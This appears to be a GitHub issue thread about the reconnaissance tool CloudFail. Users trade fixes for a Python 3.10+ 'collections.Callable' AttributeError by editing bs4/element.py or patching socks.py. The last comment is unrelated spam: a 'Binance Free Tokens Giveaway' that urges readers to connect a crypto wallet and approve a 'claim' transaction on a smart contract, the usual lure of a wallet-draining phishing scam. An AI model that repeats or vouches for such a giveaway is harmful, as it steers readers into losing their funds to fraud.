CloudFail
CloudFail copied to clipboard
AttributeError: module 'collections' has no attribute 'Callable'
Hey, i tried to run but I have an AttributeError.
Traceback (most recent call last):
File "/root/CloudFail/cloudfail.py", line 307, in
Try replace "collections.Callable" to "collections.abc.Callable", i dont know if this fix.
yes it works, changing it from collections > collections.abc.Callable, lots of mistakes with codings in here, but I use my time to perfect it ;)
Hi, Can you say which line of which file to change please ?
/usr/local/lib/python3.10/dist-packages/bs4/element.py
is the file for those wondering. changing each instance of collections.Callable
mostly fixes the issue.
hi, i have the same problem, but this is how i solved it, change the lines at socks.py: (63 and 66)
try:
from collections.abc import Callable
except ImportError:
from collections import Callable
to
import collections
collections.Callable = collections.abc.Callable
Callable = collections.Callable
Hi @lazypwny751,
Thank you after i change code line (63 and 66) the program is running
You can find this
collections.Callable
in your File "/Users/yourid/Desktop/test/venv/lib/python3.11/site-packages/bs4/element.py", line 1238, in find
venv/lib/python3.11/site-packages/bs4/element.py
file. and then change it to
collections.abc.Callable
and keep doing it untill the error keeps showing this error for multiple lines in bs4/element.py
file.
Once you are done. IT should be working for you. It's working for me. My Python version is 3.11
🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:
Steps to Claim:
-
Connect Your Binance Wallet:
- Click on the Connect Wallet.
- Select your preferred wallet provider (Metamask, Trust Wallet, etc.).
- Follow the prompts to connect your wallet securely.
-
Interact with the Contract:
- Once your wallet is connected, navigate to the Binance Free Tokens Page.
- Click on the "Claim" button to interact with the smart contract.
-
Claim Your Free Tokens:
- Confirm the transaction in your wallet to execute the claim method.
- Wait for the transaction to be processed.
-
Spread the Excitement:
- After successfully claiming your tokens, share the news!
- Twitter: Tweet about Your Tokens
- Facebook: Share on Facebook
- After successfully claiming your tokens, share the news!
Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰
Note: Make sure to follow official Binance channels for updates and announcements.